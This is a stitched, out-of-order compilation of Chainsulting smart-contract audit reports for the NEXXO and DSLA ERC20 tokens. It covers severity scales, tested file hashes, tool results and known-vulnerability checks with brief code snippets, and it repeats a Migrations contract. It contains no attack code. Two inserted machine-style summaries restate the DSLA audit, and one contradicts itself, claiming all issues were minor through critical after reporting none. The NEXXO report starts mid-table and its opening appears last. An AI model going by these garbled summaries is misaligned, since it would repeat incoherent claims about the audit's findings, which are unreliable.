– 3.9 A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. Implementation of certain corrective actions or accepting the risk. Informational 0 – 1.9 A vulnerability that have informational character but is not effecting any of the code. An observation that does not determine a level of risk 7 / 20 Chainsulting Audit Report © 2020 4. Auditing Strategy and Techniques Applied Throughout the review process, care was taken to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. To do so, reviewed line-by-line by our team of expert pentesters and smart contract developers, documenting any issues as there were discovered. 4.1 Methodology The auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Chainsulting to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Chainsulting describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analysing a program to determine what inputs causes each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, actionable recommendations to help you take steps to secure your smart contracts. 8 / 20 Chainsulting Audit Report © 2020 4.2 Used Code from other Frameworks/Smart Contracts 1. SafeMath.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol 6. Pausable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/Roles.sol 9. SafeERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol 9 / 20 Chainsulting Audit Report © 2020 4.3 Tested Contract Files The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review File Fingerprint (SHA256) Source nexxo_contract_proxy_08_0_1.sol AC44BBF936FBE3AF0E30A7B2CD07836A11A5770BB80C678E74F5092FE1A2E988 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_proxy_08_0_1.sol nexxo_contract_solidity_08_0_1.sol A3B521889D46A851424AC3D570104A30857647C2510B6DDA8EE4612C6E038DE5 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_solidity_08_0_1.sol 4.4 Contract Specifications Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.6.11 Upgradeable Yes Burn Function Yes Proxy Yes Mint Function No (Fixed total supply) Lock Mechanism Yes Vesting Function Yes Ticker Symbol NEXXO Total Supply 100 000 000 000 Decimals 18 10 / 20 Chainsulting Audit Report © 2020 4.5 Special Security Note The following Smart Contracts are outdated and not anymore used by Nexxo Network Company. DON’T USE IT ! https://etherscan.io/token/0x2c7fa71e31c0c6bb9f21fc3c098ac2c53f8598cc https://etherscan.io/token/0x278a83b64c3e3e1139f8e8a52d96360ca3c69a3d 11 / 20 Chainsulting Audit Report © 2020 5. Test Suite Results The NEXXO Token is part of the Nexxo Smart Contract and this one was audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 5.1 Mythril Classic & MYTHX Security Audit Mythril Classic is an open-source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. 12 / 20 Chainsulting Audit Report © 2020 Issues (Old Contract) Source Code: https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/First%20Contract/NexxoToken.sol 5.1.1 A floating pragma is set. Severity: LOW Code: SWC-103 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation The current pragma Solidity directive is "">=0.5.3<=0.5.8"". It is recommended to specify a fixed compiler version to ensure that the bytecode produced does not vary between builds. This is especially important if you rely on bytecode-level verification of the code. Line: 1 pragma solidity >=0.5.3 <=0.5.8; It is recommended to follow the latter example, as future compiler versions may handle certain language constructions in a way the developer did not foresee. Pragma solidity 0.5.3 13 / 20 Chainsulting Audit Report © 2020 5.1.2 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokens" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1438 – 1440 function getBlockedAddressList() public onlyOwner view returns(address [] memory) { return blockedAddressList; } Only the Owner can use that function. The NEXXO Smart Contract is secure against that attack Result: The analysis was completed successfully. No major issues were detected. 14 / 20 Chainsulting Audit Report © 2020 6. Specific Attacks (Old Contract) Attack / Description Code Snippet Severity Result/Recommendation Checking Outdated Libraries All libraries are based on OpenZeppelin Framework solidity 0.5.0 https://github.com/OpenZeppelin/openzeppelin-contracts/tree/release-v2.5.0 Status: Fixed Severity: 2 Recommended to migrate the contract to solidity v.0.6.0 and the used libraries. Example: Line 19 - 111 SafeMath.sol migrate to v.0.6 https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5dfe7215a9156465d550030eadc08770503b2b2f#diff-b7935a40e05eeb5fe9024dc210c8ad8a * Improvement: functions in SafeMath contract overloaded to accept custom error messages. * CHANGELOG updated, custom error messages added to ERC20, ERC721 and ERC777 for subtraction related exceptions. * SafeMath overloads for 'add' and 'mul' removed. * Error messages modified. Contract code size over limit. Contract creation initialization returns data with length of more than 24576 bytes. The deployment will likely fails. Status: Fixed Severity: 3 The Contract as delivered reached the 24 KB code size limit. To deploy the code you need to split your contracts into various contracts by using proxies. 15 / 20 Chainsulting Audit Report © 2020 7. SWC Attacks (New Contract) Detected Vulnerabilities Informational: 0 Low: 3 Medium: 0 High: 1 Critical: 0 7.1 The arithmetic operation can overflow Severity: HIGH Code: SWC-101 Status: Fixed (SafeMath newest version) File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation It is possible to cause an arithmetic overflow. Prevent the overflow by constraining inputs using the require() statement or use the OpenZeppelin SafeMath library for integer arithmetic operations. Refer to the transaction trace generated for this issue to reproduce the overflow. Line: 1013 uint256 amount = msg.value * unitsOneEthCanBuy(); The NEXXO Smart Contract is secure against that attack with using SafeMath library 16 / 20 Chainsulting Audit Report © 2020 7.2 Loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "toString" in contract "Strings" depends on the size of data structures or values that may grow unboundedly. If the data structure grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 78 / 85 while (temp != 0) { The NEXXO Smart Contract is secure against that attack 17 / 20 Chainsulting Audit Report © 2020 7.3 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokensUpgrade1" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1098 return blockedAddressList; The NEXXO Smart Contract is secure against that attack 18 / 20 Chainsulting Audit Report © 2020 7.4 Call with hardcoded gas amount. Severity: LOW Code: SWC-134 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation The highlighted function call forwards a fixed amount of gas. This is discouraged as the gas cost of EVM instructions may change in the future, which could break this contract's assumptions. If this was done to prevent reentrancy attacks, consider alternative methods such as the checks-effects-interactions pattern or reentrancy locks instead. Line: 1020 ownerWallet().transfer(msg.value); //Transfer ether to fundsWallet The NEXXO Smart Contract is secure against that attack Sources: https://smartcontractsecurity.github.io/SWC-registry https://dasp.co https://github.com/chainsulting/Smart-Contract-Security-Audits https://consensys.github.io/smart-contract-best-practices/known_attacks 19 / 20 Chainsulting Audit Report © 2020 8. Executive Summary A majority of the code was standard and copied from widely-used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely-used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities, at the moment of audit. We noted that a majority of the functions were self-explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. All recommendations from the first audit are implemented by the Nexxo Team. 20 / 20 Chainsulting Audit Report © 2020 9. Deployed Smart Contract Token Address: https://etherscan.io/token/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980 Contract Address: https://etherscan.io/address/0xcabc7ee40cacf896ca7a2850187e1781b05f09c5 Proxy Contract Address: https://etherscan.io/address/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is present Conclusion: The report shows that the contracts and methods used in the DSLA Token are secure and compliant with the standards.
pragma solidity 0.4.24; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
1 / 18 DSLA TOKEN SMART CONTRACT AUDIT FOR STACKTICAL SAS 15.11.2018 Made in Germany by Chainsulting.de 2 / 18 Smart Contract Audit DSLA Token Table of Contents 1. Disclaime r 2. About the Project and Company 3. Vulnerability Level 4. Overview of the Audit 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 4.2 Tested Contract Files 4.3 Contract Specifications (DSLA Token) 5. Summary of Contracts and Methods 5.1 DSLA Token 5.2 Crowdsale 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Au dit 6.2 Oyente Security Audit 7. Test Suite Results (Crowdsale) 7.1 Mythril Classic Security Audit 7.2 Oyente Security Audit 8. Specific Attacks (DSLA Token & Crowdsale) 9. Executive Summary 10. General Summary 11. Deployed Smart Contract 3 / 18 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. T he audit docu mentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Stacktical SAS . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Major Version s / Date Description Author 0.1 (28.10.2018 ) Layout Y. Heinze 0.5 (29.10.201 8) Automat ed Secu rity Testing Y. Heinze 0.7 (30.10.201 8) Manual Security Testing Y. Heinze 1.0 (30.10.201 8) Summary and Recommendation Y. Heinze 1.5 (15.11.2018) Deploy to Main Network Ethereum Y. Heinze 1.6 (15.11.201 8) Last Security Che ck and adding of recommendations Y. Heinze 1.7 (15.11.2018) Update d Code Base Y. Heinze 4 / 18 2. About the Project and Company Company address: STACKTICAL SAS 3 BOULEVARD DE SEBASTOPOL 75001 PARIS FRANCE RCS 829 644 715 VAT FR02829644715 5 / 18 Project Overview: Stacktical is a french software company specialized in applying predictive and blockchain technologies to performance, employee and customer management practices. Stacktical.com is a comprehensive service level management platform that enables web service providers to automati cally indemnify consumers for application performance failures, and reward employees that consistently meet service level objectives. Company Check: https://www.infogreffe.fr/entreprise -societe/829644715 -stacktical -750117B117250000.html 6 / 18 3. Vulnerability Level 0-Informational severity – A vulnerability that have informational character but is not effecting any of the code. 1-Low severity - A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. 2-Medium severity – A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. 3-High severity – A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. 4-Critical severity – A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. 4. Overview of the audit The DSLA Token is part of the DSLA Crowdsale Contract and both where audited . All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 7 / 18 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 1. SafeMath .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable .sol https://github.com/ OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blo b/master/contracts/ownership/Ownable.sol 6. Pausable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles .sol https://github.com/O penZeppelin/openzeppelin -solidity/blob/master/contracts/access/Roles.sol 8 / 18 4.2 Tested Contract Files File Checksum (SHA256) contracts \Migrations .sol 700c0904cfbc20dba65f774f54a476803a624372cc95d926b3eba9b4d0f0312e contracts \DSLA \DSLA.sol 00339bccbd166792b26a505f10594341477db5bcd8fe7151aebfe73ac45fbb9f contracts \DSLA \LockupToken.sol 3afc805367c072082785f3c305f12656b0cbf1e75fe9cfd5065e6ad3b4f35efa contracts \Crowdsale \ DSLACrowdsale.sol fc66d9d53136278cf68d7515dc37fab1f750cacff0079ceac15b175cf97f01bc contracts \Crowdsale \Escrow.sol 2c912e901eb5021735510cb14c6349e0b47d5a3f81d384cfb1036f1f0e30996c contracts \Crowdsale \ PullPayment.sol a5a98901913738 df2ff700699c2f422944e9a8a270c708fdbc79919fc9b30a42 contracts \Crowdsale \ VestedCrowdsale.sol e6b70f3dfd294e97af28ecd4ee720ffbf1ca372660302e67464ecf69d4da6a9b contracts \Crowdsale \ Whitelist.sol 027aa5a6799bd53456adfb4ef9f0180890a376eeeb4c6ae472388af6ea78b308 9 / 18 4.3 Contract Specifications (DSLA Token) Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.4.24 Burn Function Yes ( DSLACrowdsale.sol) Mint Function Yes Ticker Symbol DSLA Total Supply 10 000 000 000 Timestamps used Yes (Blocktimestamp in DSLACrowdsale.sol) 10 / 18 5. Summary of Contracts and Methods Functions will be listed as: [Pub] public [Ext] external [Prv] private [Int] internal A ($)denotes a function is payable. A # indicates that it's able to modify state. 5.1 DSLA Token Shows a summary of the contracts and methods + DSLA (LockupToken) - [Pub] <Constructor> # + LockupToken (ERC20Burnable, Ownable) - [Pub] <Constructor> # - [Pub] setReleaseDate # - [Pub] setCrowdsaleAddress # - [Pub] transferFrom # - [Pub] transfer # - [Pub] getCrowdsaleAddress + Ownable - [Int] <Constructor> # - [Pub] owner - [Pub] isOwner - [Pub] renounceOwnership # - [Pub] transferOwnership # - [Int] _transferOwnership # 11 / 18 5.2 Crowdsale Shows a summary of the contracts and methods + DSLACrowdsale (VestedCrowdsale, Whitelist, Pausable, PullPayment) - [Pub] <Constructor> # - [Ext] <Fallback> ($) - [Pub] buyTokens ($) - [Pub] goToNextRound # - [Pub] addPrivateSaleContri butors # - [Pub] addOtherCurrencyContributors # - [Pub] closeRefunding # - [Pub] closeCrowdsale # - [Pub] finalizeCrowdsale # - [Pub] claimRefund # - [Pub] claimTokens # - [Pub] token - [Pub] wallet - [Pub] raisedFunds - [Int] _deliverTokens # - [Int] _forwardFunds # - [Int] _getTokensToDeliver - [Int] _handlePurchase # - [Int] _preValidatePurchase - [Int] _getTokenAmount - [Int] _doesNotExceedHardCap - [Int] _burnUnsoldTokens # + Escrow (Ownable) - [Pub] deposit ($) - [Pub] withdraw # - [Pub] beneficiaryWithdraw # - [Pub] depositsOf + PullPayment - [Pub] <Constructor> # - [Pub] payments - [Int] _withdrawPayments # - [Int] _ asyncTransfer # - [Int] _withdrawFunds # + VestedCrowdsale - [Pub] getWithdrawableAmount - [Int] _getVestingStep - [Int] _getValueByStep + Whitelist (Ownable) - [Pub] addAddressToWhitelist # - [Pub] addToWhitelist # - [Pub] removeFromWhitelist # 12 / 18 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 6.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the high lev el representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 7. Test Su ite Results (Crowdsale) 7.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 7.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the h igh level representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 13 / 18 8. Specific Attack s (DSLA Token & Crowdsale ) Attack Code Snippet Severity Result/Recommendation An Attack Vector on Approve/TransferFrom Methods Source: https://docs.google.com/docum ent/d/1YLPtQxZu1UAvO9cZ1 O2RPXBbT0mooh4DYKjA_jp - RLM/edit In file: openzeppelin -solidity - master \contracts \token \ERC20 \ERC20 .so l:74-80 function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } Severity: 2 Only use the approve function of the ERC -20 standard to change allowed amount to 0 or from 0 (wait till transaction is mined and approved). The DSLA Smart Contract is secure against that attack Timestamp Dependence "block.timestamp" can be influenced by miners to a certain degree. Source: https://smartcontractsecurity.git hub.io/SWC - registry/docs/SWC -116 In file: stacktical -tokensale -contracts - master \contracts \DSLA \LockupToken.sol : 23 require(_releaseDate > block.timestamp); Severity: 0 Developers should write smart contracts with the notion that block timestamp and real timestamp may vary up to half a minute. Alternatively, they can use block number or external source of timestamp via oracles. Unchecked math : Solidity is prone to integer over- and underflow. Overflow leads to unexpected effects and can lead to loss of funds if exploited by a malicious account. No critical mathematical functions are used Severity: 2 Check against over - and underflow (use the SafeMath library). The DSLA Smart Contract is secure against that attack 14 / 18 Unhandled Exception A call/send instruction returns a non -zero value if an exception occurs during the execution of the instruction (e.g., out -of-gas). A contract must check the return value of these instructions and throw an exception. Severity: 0 Catching exceptions is not yet possible. Sending tokens (not Ethereum) to a Smart Contract It can happen that users without any knowledge, can send tokens to that address. A Smart Contract needs to throw that transaction as an exception. Severity: 1 The function of sending back tokens that are not whitelisted, is not yet functional. The proposal ERC223 can fix it in the future. https://github.com/Dexaran/ERC223 - token -standard SWC ID: 110 A reachable exception (opcode 0xfe) has been detected. This can be caused by typ e errors, division by zero, out -of- bounds array access, or assert violations. T his is acceptable in most situations. Note however that ‘assert() ’ should only be used to check invariants. Use In file: stacktical -tokensale - contra cts/contracts/Crowdsale/Escrow.sol :40 assert(address(this).balance >= payment) Severity: 1 The DSLA Smart Contract is secure against that exception 15 / 18 ‘require() ’ for regular input checking. Sources: https://smartcontractsecurity.github.io/SWC -registry https://dasp.co https://github.com/ChainsultingUG/solidity -security -blog https://consensys.github.io/smart -contra ct-best-practices/known_attacks 16 / 18 9. Executive Summary A majority of the code was standard and copied from widely -used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely -used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities , at the moment of audit . We noted that a majority of the functions were self -explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. High Risk Issues Medium Risk Issues Low Risk Issues Informal Risk Issues 17 / 18 10. General Summary The issues identified were minor in nature, and do not affect the security of the contract. Additionally, the code implements and uses a SafeMath contract, which defines functions for safe math operations that will throw errors in the cases of integer overflow or underflows. The simplicity of the audited contracts contributed greatly to their security . The usage of the widely used framework OpenZep pelin, reduced the attack surfac e. 11. Deployed Smar t Con tract https://etherscan.io/address/0x8efd96c0183f852794f3f18c48ea2508fc5dff9e (Crowdsale) https://etherscan.io/address/0xEeb86b7c0687002613Bc88328499F5734e7Be4c0 (DSLA T oken) We recommended to Update the etherscan.io information with Logo/Website /Social Media Accounts (DSLA Token) and verify the Smart Contract Code (Both Contracts) . That gives buyers more transparency. 18 / 18 Update d Code Base After A udit (No Impairment) Readjust of caps: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/6/files Token burn optional: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/3/files
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present in DSLACrowdsale.sol - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp in DSLACrowdsale.sol - Functions listed as [Pub] public, [Ext] external, [Prv] private, [Int] internal - ($) denotes a function is payable - (#) indicates that it's able to modify state Conclusion: The report has provided a summary of the contracts and methods used in the DSLA Token. All the issues have been found to be of minor/moderate/major/critical level. The language used is Solidity, the token standard is ERC20, the most used framework is OpenZeppelin, the compiler version is 0.4.24, the burn function is present in DSLACrowdsale.
pragma solidity 0.4.24; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
1 / 20 Chainsulting Audit Report © 2020 NEXXO TOKEN SMART CONTRACT AUDIT FOR NEXXO SG PTE. LTD. 07.08.2020 Made in Germany by Chainsulting.de 2 / 20 Chainsulting Audit Report © 2020 Smart Contract Audit - NEXXO Token 1. Disclaimer .................................................................................................................................................................................................................... 3 2. About the Project and Company ............................................................................................................................................................................. 4 2.1 Project Overview: ................................................................................................................................................................................................. 5 3. Vulnerability & Risk Level ......................................................................................................................................................................................... 6 4. Auditing Strategy and Techniques Applied ............................................................................................................................................................ 7 4.1 Methodology ......................................................................................................................................................................................................... 7 4.2 Used Code from other Frameworks/Smart Contracts ................................................................................................................................... 8 4.3 Tested Contract Files .......................................................................................................................................................................................... 9 4.4 Contract Specifications ....................................................................................................................................................................................... 9 4.5 Special Security Note ........................................................................................................................................................................................ 10 5. Test Suite Results .................................................................................................................................................................................................... 11 5.1 Mythril Classic & MYTHX Security Audit ....................................................................................................................................................... 11 5.1.1 A floating pragma is set. ................................................................................................................................................................................ 12 5.1.2 Implicit loop over unbounded data structure. ............................................................................................................................................. 13 6. Specific Attacks (Old Contract) .............................................................................................................................................................................. 14 7. SWC Attacks (New Contract) ................................................................................................................................................................................. 15 7.1 The arithmetic operation can overflow ........................................................................................................................................................... 15 7.2 Loop over unbounded data structure. ............................................................................................................................................................ 16 7.3 Implicit loop over unbounded data structure. ................................................................................................................................................ 17 7.4 Call with hardcoded gas amount. .................................................................................................................................................................... 18 8. Executive Summary ................................................................................................................................................................................................. 19 9. Deployed Smart Contract ....................................................................................................................................................................................... 20 3 / 20 Chainsulting Audit Report © 2020 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of NEXXO SG PTE. LTD. . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Previous Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/tree/master/Nexxo/2019 First Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/blob/master/Nexxo/2020/First%20Contract/02_Smart%20Contract%20Audit%20Nexxo_18_06_2020.pdf Major Versions / Date Description Author 0.1 (16.06.2020) Layout Y. Heinze 0.5 (18.06.2020) Automated Security Testing Manual Security Testing Y. Heinze 1.0 (19.06.2020) Summary and Recommendation Y. Heinze 1.1 (22.06.2020) Adding of MythX Y. Heinze 1.5 (23.06.2020) First audit review and submit changes Y. Heinze 2.0 (29.07.2020) Second audit review from updated contract Y. Heinze 2.1 (07.08.2020) Final edits and adding of the deployed contract etherscan link Y. Heinze 4 / 20 Chainsulting Audit Report © 2020 2. About the Project and Company Company address: NEXXO SG PTE. LTD. 61 ROBINSON ROAD #19-02 ROBINSON CENTRE SINGAPORE 068893 CERTIFICATION OF INCORPORATION NO: 201832832R LEGAL REPRESENTIVE: NEBIL BEN AISSA 5 / 20 Chainsulting Audit Report © 2020 2.1 Project Overview: The world's first global blockchain-powered small business financial services platform. Nexxo is a multi-national company (currently incorporated in Qatar, UAE, India, Pakistan, Singapore and Cyprus Eurozone); it provides financial services to small businesses in the Middle East and emerging markets. Nexxo financial services are bank accounts with an IBAN (International Bank Account Number), MasterCard powered Salary Cards, electronic commerce, Point of Sale, bill payment, invoicing as well as (in the future) loans and financing facilities. These solutions are offered using blockchain technology which reduces the cost of the service, as well as help small businesses grow their revenues, lower costs and achieve a better life for themselves and their families. A Very unique characteristic of NEXXO is that it partners with locally licensed banks, and operates under approval of local central banks; its blockchain is architected to be in full compliance with local central banks, and its token is designed as a reward and discount token, thus not in conflict with locally regulated national currencies. All localized Nexxo Blockchains are Powered by IBM Hyperledger, and connected onto a multi-country international blockchain called NEXXONET. NEXXO operates in multiple countries, it generates profits of Approximately $4.0 Mil USD (audited by Deloitte) and is managed by a highly skilled and experienced team. Security Notice: Re-deploy of the Smart Contract due to a security breach on Digifinex platform. 6 / 20 Chainsulting Audit Report © 2020 3. Vulnerability & Risk Level Risk represents the probability that a certain source-threat will exploit vulnerability, and the impact of that event on the organization or system. Risk Level is computed based on CVSS version 3.0. Level Value Vulnerability Risk (Required Action) Critical 9 – 10 A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. Immediate action to reduce risk level. High 7 – 8.9 A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. Implementation of corrective actions as soon as possible. Medium 4 – 6.9 A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. Implementation of corrective actions 